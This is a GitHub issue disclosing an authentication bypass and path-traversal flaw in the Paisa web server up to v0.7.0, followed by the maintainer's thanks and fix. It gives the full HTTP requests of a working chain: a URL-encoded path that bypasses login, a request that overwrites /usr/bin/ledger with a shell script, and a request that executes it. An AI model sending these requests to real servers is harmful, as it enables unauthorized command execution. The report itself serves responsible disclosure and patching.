Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

paisa <=v0.7.0 web server has an unauthorized remote command execution vulnerability #294

Closed
pankass opened this issue Oct 20, 2024 · 1 comment

Comments

@pankass
Copy link

pankass commented Oct 20, 2024

Describe your Environment
OS: Linux
Paisa Version: 0.7.0
App Variant: Docker

Vulnerability description
There is a vulnerability in Paisa's authentication mechanism. When the administrator sets up an account, an unauthorized attacker can bypass authentication by url encoding the http request URI, and further use /api/sheets/save to overwrite the /usr/bin/ledger file to complete remote command execution.

To Reproduce
Steps to reproduce the behavior:

  1. We can use docker to start a paisa server.
  2. We can restrict unauthorized user access by setting up accounts, but the core authentication middleware has a vulnerability

image
image
Here c.Request.RequestURI is used to determine the route, but c.Request.RequestURI is the original request URI. The route selection of the gin framework is determined based on c.Request.URL.Path, so we can bypass the detection of this middleware by URL encoding, like this

GET /%61pi/config HTTP/1.1
Host: 127.0.0.1:7500
Connection: close

image

  1. After bypassing authentication, you can use the arbitrary file upload vulnerability of /api/editor/validate to overwrite the /usr/bin/ledger file
POST /%61pi/sheets/save HTTP/1.1
Host: 127.0.0.1:7500
Connection: close
Content-Type: application/json
Content-Length: 60

{"name":"../../../usr/bin/ledger","content":"#!/bin/sh\nid"}

image

  1. Finally, use /api/editor/validate to trigger the execution command
POST /%61pi/editor/validate HTTP/1.1
Host: 127.0.0.1:7500
Connection: close
Content-Type: application/json
Content-Length: 2

{}

image

fix suggestions

  1. Authentication middleware uses c.Request.URL.Path to replace c.Request.RequestURI.
  2. Fixed a directory traversal vulnerability in SaveSheetFile due to ../../
ananthakumaran added a commit that referenced this issue Oct 20, 2024
@ananthakumaran
Copy link
Owner

@pankass Thank you very much for the detailed report. I have pushed a fix to master and plan to release soon. If you are able to verify the fix let me know. Once again, thank you very much for your time.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants